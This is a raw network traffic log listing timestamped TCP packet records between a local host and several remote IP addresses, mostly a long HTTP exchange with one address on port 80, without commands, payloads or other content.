Dec 6, 2024 18:45:49.300585985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.300729990 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.301126003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.301173925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.301682949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.301733017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.301832914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.301872015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.302766085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.302812099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.303061008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.303221941 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.303831100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.303874969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.304717064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.304825068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.304929972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.304941893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.304970980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.304994106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.305963993 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.306010008 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.306102991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.306147099 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.307060957 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.307104111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.307431936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.307507992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.308120966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.308171034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.308814049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.308866978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.309180975 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.309267044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.309305906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.309348106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.310264111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.310312033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.311444044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.311455965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.311466932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.311511993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.311532974 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.312396049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.312448025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.312522888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.312562943 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.313478947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.313556910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.313649893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.313704967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.373389006 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.373389006 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.373423100 CET	443	49814	20.223.35.26	192.168.2.6
Dec 6, 2024 18:45:49.373464108 CET	49814	443	192.168.2.6	20.223.35.26
Dec 6, 2024 18:45:49.447175026 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.447201967 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.447253942 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.447273016 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.447290897 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.447452068 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.450061083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.450114965 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.450651884 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.450664997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.450685024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.450700045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.450722933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.451710939 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.451756954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.451792955 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.451817036 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.451818943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.451850891 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.451874971 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.451884031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.451890945 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.451920986 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.452822924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.452956915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.453005075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.453876972 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.453890085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.453924894 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.453952074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.454926968 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.454948902 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.454988003 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.454994917 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.455004930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.455019951 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.455053091 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.455071926 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.455094099 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.455099106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.455121994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.455141068 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.455152988 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.455164909 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.455173016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.455200911 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.456033945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.456047058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.456089020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.456104040 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.457103968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.457149982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.457161903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.457199097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.458301067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.458313942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.458347082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.459191084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.459275961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.459338903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.459420919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.460288048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.460356951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.460577011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.460619926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.461334944 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.462044001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.462086916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.462459087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.462477922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.462501049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.462517977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.463476896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.463521004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.463690996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.464164019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.464548111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.464592934 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.464847088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.464884043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.465620041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.465665102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.466245890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.466289043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.466695070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.466746092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.466795921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.466837883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.467787981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.467828989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.467844963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.467861891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.468831062 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.469342947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.469392061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.469923019 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.469974041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.470014095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.470154047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.471019983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.471031904 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.471064091 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.471077919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.472083092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.472141027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.472198963 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.472362041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.473125935 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.473172903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.473207951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.473242998 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.474283934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.474324942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.475162983 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.475349903 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.475352049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.475402117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.475440979 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.475478888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.475611925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.475785017 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.475802898 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.476264000 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.476269960 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.476382971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.476385117 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.476392984 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.476432085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.476743937 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.476747990 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.476850033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.476990938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.477418900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.477467060 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.477853060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.477904081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.478543997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.478559971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.478636026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.478636026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.479583025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.479630947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.480005980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.480078936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.480642080 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.480686903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.481231928 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.481276989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.481795073 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.481807947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.481882095 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.482804060 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.482856035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.483292103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.483338118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.483880997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.483992100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.484047890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.484977007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.485061884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.485135078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.485457897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.486088037 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.486100912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.486143112 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.487060070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.487118959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.487270117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.487319946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.488159895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.488312960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.488370895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.488425016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.489267111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.489360094 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.489398003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.489487886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.490392923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.490696907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.490739107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.490910053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.491527081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.491540909 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.492177010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.492533922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.492808104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.493578911 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.493592978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.493626118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.493643999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.494792938 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.494807959 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.495682001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.495728016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.495752096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.496162891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.496439934 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.496463060 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.496495008 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.496503115 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.496521950 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.496542931 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.496761084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.496774912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.497174978 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.497816086 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.497885942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.498109102 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.498208046 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.499037027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.499056101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.499109983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.499957085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.500006914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.500091076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.500161886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.501010895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.501152992 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.501416922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.501463890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.502336025 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.502350092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.502412081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.502412081 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.503218889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.503428936 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.503623009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.503670931 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.503726959 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.503745079 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.503786087 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.503794909 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.503814936 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.503840923 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.504314899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.504358053 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.504618883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.504683018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.505340099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.505403042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.505745888 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.505789995 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.506382942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.506480932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.507123947 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.507144928 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.507196903 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.507203102 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.507241011 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.507253885 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.509794950 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.509814024 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.509872913 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.509884119 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.509922028 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.509922028 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.623471022 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.623502970 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.623568058 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.623585939 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.623620987 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.623641014 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.637763023 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.637784958 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.637829065 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.637841940 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.637873888 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.637890100 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.641524076 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.641544104 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.641622066 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.641629934 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.641671896 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.647939920 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.647958040 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.648036957 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.648046017 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.648083925 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.650387049 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.650403976 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.650522947 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.650531054 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.650600910 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.660173893 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.660188913 CET	80	49796	185.215.113.206	192.168.2.6
